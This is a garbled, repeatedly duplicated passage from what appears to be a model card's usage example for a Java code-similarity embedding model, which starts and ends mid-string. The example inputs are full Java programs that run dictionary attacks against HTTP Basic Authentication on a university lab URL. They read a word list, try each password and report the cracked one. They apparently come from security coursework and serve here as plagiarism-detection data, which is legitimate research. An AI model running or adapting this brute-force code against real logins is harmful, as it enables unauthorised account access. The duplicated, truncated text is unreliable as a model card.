\'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + 